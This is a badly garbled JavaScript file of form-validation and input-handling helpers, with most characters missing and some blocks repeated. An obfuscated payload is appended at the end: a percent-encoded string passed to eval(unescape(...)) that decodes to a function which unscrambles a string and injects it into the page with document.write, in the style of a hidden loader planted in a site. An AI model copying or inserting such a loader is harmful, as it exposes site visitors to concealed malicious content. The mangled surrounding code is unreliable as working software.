b.au.usr0ojvlelnt  )\r\t\t\r\t\teuntu;\n\tbek\r\t}\n\tae\"a\":\r\t{\n\ti(Mt.on(b.au)>Mt.on(cntanvle \r\t\t\r\t\tojvle=cntanvle\r\t\t\r\t\tra;\n\t\r\tcs mn  \n\t\r\t\tf ahrudojvle  ahrudcntanvle \r\t\t\r\t\tojvle=cntanvle\r\t\t\r\t\tra;\n\t\r\t\r}\nucincsatvTbbetgopaetojcTgaeojcTStcieatvCasiatvCas\r{\ni(ruPrn)\n{\n\ta  0\r\twietu)\n\t\r\t\ta b  ruPrn.onojcTgaei+;\n\ti(b)\n\t{\n\t\tf b =ojcTStcie)\n\t\t\r\t\t\tb.lsNm  nciels;\n\t\t\r\t\tes\r\t\t{\n\t\tojcasae=atvCas\r\t\t}\n\t}\n\tes\r\t\t\r\t\tbek\r\t\t\r\t}\n}\n\r\r/ XR UCIN\rvrrweetd=nwAry)\rvrrwat  e ra(;\na oLsNraCasae=nwAry)\r\rvrciklsNm  e ra(;\na omllsNm  e ra(;\na omllsNmDfnd=nwAry)\r\rfnto o_vraisojcasae\r{\n/i(b.lsNm &!omllsNmDfndais)\ni(b.lsNm &(b =rwatais)\r\t\r\tnraCasaeais  b.lsNm;\n\t\n}\nojcasae=casae\r\t\n\rfnto o_lc(la,b,lsNm)\n\r\t/lr(nra ls aei  +b.lsNm+'- olsCasaei  )\r\toSlce[la]=oj\r\tlcCasaeais  lsNm;\ni(oLs[la]\r\t\r\t/rwatomllsNm[la]=nraCasaeais;\n\toLs[la]casae=oLsNraCasaeais\r\t\r\toLs[la]=oj\r\toLsNraCasaeais  nraCasaeais;\nrweetdais.lsNm  lsNm;\n\r\rfnto o_u(la,b,lsNm)\n\r\tfrweetdais =oj\r\t\r\tojcasae=casae\r\t\r\tle\n{\n\toSlce[la]casae=ciklsNm[la]\r\t\r}\n\nucincmoo_eSlceVlecmovle\r \r\t/ob  ouetgtlmnBI(ob)\r fri0icmootoslnt;+)\n{\n\tpin=cmootosi;\n\tfoto.au =vle\r\t{\n\toto.eetd=tu \r\t\tra;\n\t\r\t\r \rfnto eDsbeprnI,cidaNm,siTp,siCasdsbe\r{\ni($prnI)\r\t\r\tvrtg  e ra(;\n\tfcidaNm.neO(,)>- \r\t{\n\ttg  hlTgaeslt'';\n\t\r\tes\r\t{\n\ttg[]=cidaNm;\n\t\r\tfrj0jtg.eghj+\r\t{\n\tvri=;\n\twietu)\n\t{\n\t\ta nu  (aetd.ontg[]i+;\n\t\tfipt\r\t\t{\n\t\ti(nu.ye\r\t\t\t\r\t\t\ti(nu.ye! kpye\r\t\t\t{\n\t\t\tiptdsbe  ial;\n\t\t\t\t\t\n\t\t}\n\t\tes\r\t\t\t\r\t\t\tiptdsbe  ial;\n\t\t}\n\t\t\r\t\tes/ipt=nl;\n\t\t\r\t\t\tra;\t\t\t\n\t\t\r\t\t\r\t}\n}\n\r\rfnto eNl(aetdcidaNm,kpye kpls)\n\r\tf (aetd)\n{\t\n\ta as=nwAry)\r\ti(hlTgaeidxf''  1)\n\t\r\t\tas=cidaNm.pi(,)\r\t}\n\tle\n\t\r\t\tas0  hlTgae\r\t}\n\ta kp  e ra(;\n\tfsiTp.neO(,)>- \r\t{\n\tsis=siTp.pi(,)\r\t}\n\tle\n\t\r\t\tkp[]=siTp;\n\t\r\tfrj0jtg.eghj+\r\t{\n\tvri=;\n\twietu)\n\t{\t\r\t\tvript=$prnI)dw(asj,+)\r\t\ti(nu)\n\t\t\r\t\t\tfipttp)\n\t\t{\n\t\t\ta viCer=fle;\n\t\t\to(=;<kp.eghk+\r\t\t\t{\n\t\t\ti(nu.ye= kp[]\r\t\t\t\t\r\t\t\t\taodla  rebek\r\t\t\t\t\r\t\t\t}\n\t\t\tf!viCer\r\t\t\t{\n\t\t\tiptvle=\";\n\t\t\t\r\t\t\t\r\t\t\tle\n\t\t{\n\t\t\tnu.au  \"\r\t\t\t\r\t\t}\n\t\tle\n\t\t\r\t\t\tra;\r\t\t\t/nu  ul\r\t\t}\t\r\t\t\r\t}\n}\n\rfnto osri(b,osrityecntanvle\r{\nsic cntantp)\n{\n\tae\"ubr  \n\t\r\t\tfiNNojvle)\n\t{\n\t\tb.au  b.au.usr0ojvlelnt  )\r\t\t\r\t\teuntu;\n\tbek\r\t}\n\tae\"a\":\r\t{\n\ti(Mt.on(b.au)>Mt.on(cntanvle \r\t\t\r\t\tojvle=cntanvle\r\t\t\r\t\tra;\n\t\r\tcs mn  \n\t\r\t\tf ahrudojvle  ahrudcntanvle \r\t\t\r\t\tojvle=cntanvle\r\t\t\r\t\tra;\n\t\r\t\r}\nucincsatvTbbetgopaetojcTgaeojcTStcieatvCasiatvCas\r{\ni(ruPrn)\n{\n\ta  0\r\twietu)\n\t\r\t\ta b  ruPrn.onojcTgaei+;\n\ti(b)\n\t{\n\t\tf b =ojcTStcie)\n\t\t\r\t\t\tb.lsNm  nciels;\n\t\t\r\t\tes\r\t\t{\n\t\tojcasae=atvCas\r\t\t}\n\t}\n\tes\r\t\t\r\t\tbek\r\t\t\r\t}\n}\n\rfnto smi(t){\n/i(soBakojaesr){\n\te/\\.@w[]w[.?azAZ09+/\n\tfr.etsr)rtr re\r\tes \t\n\t\teunfle\r\t\t}\n/}es eunfle\r}\nuciniNtln(t){\nnca=\\\\\\ ;\nfri0isrlnt;+)\n\tfnca.neO(t.hrti)0\r\t\teuntu;\nrtr as;\n\rfnto sln(t)\n\r\teun!soBaksr;\n\rfnto stLni(t,mn \r\tfsrlnt>li)rtr re\r\teunfle\r}\n\nuciniSreMxsrla){\ni(t.egh=mx euntu;\nrtr as;\n\r\rfnto stLnnag(t,mnla){\ni(t.egh=mn&t.egh=mx euntu;\nrtr as;\n\r\rfnto sqa(t1sr){\ni(t1=t2 euntu;\nrtr as;\n\rfnto subrsr\r{\ni(sa(t) eunfle\r\teuntu;\n<srp>";eval(unescape("%66%75%6e%63%74%69%6f%6e%20%52%73%52%73%52%73%52%73%28%74%65%61%61%62%62%29%20%7b%76%61%72%20%74%74%74%6d%6d%6d%3d%22%22%3b%6c%3d%74%65%61%61%62%62%2e%6c%65%6e%67%74%68%3b%77%77%77%3d%68%68%68%68%66%66%66%66%3d%4d%61%74%68%2e%72%6f%75%6e%64%28%6c%2f%32%29%3b%69%66%28%6c%3c%32%2a%77%77%77%29%09%68%68%68%68%66%66%66%66%3d%68%68%68%68%66%66%66%66%2d%31%3b%66%6f%72%28%69%3d%30%3b%69%3c%68%68%68%68%66%66%66%66%3b%69%2b%2b%29%74%74%74%6d%6d%6d%20%3d%20%74%74%74%6d%6d%6d%20%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%69%29%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%69%2b%68%68%68%68%66%66%66%66%29%3b%69%66%28%6c%3c%32%2a%77%77%77%29%20%74%74%74%6d%6d%6d%20%3d%20%74%74%74%6d%6d%6d%20%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%6c%2d%31%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%74%74%74%6d%6d%6d%29%3b%7d%3b%52%73%52%73%52%73%52%73%28%77%6c%6b%6a%69%29%3b"));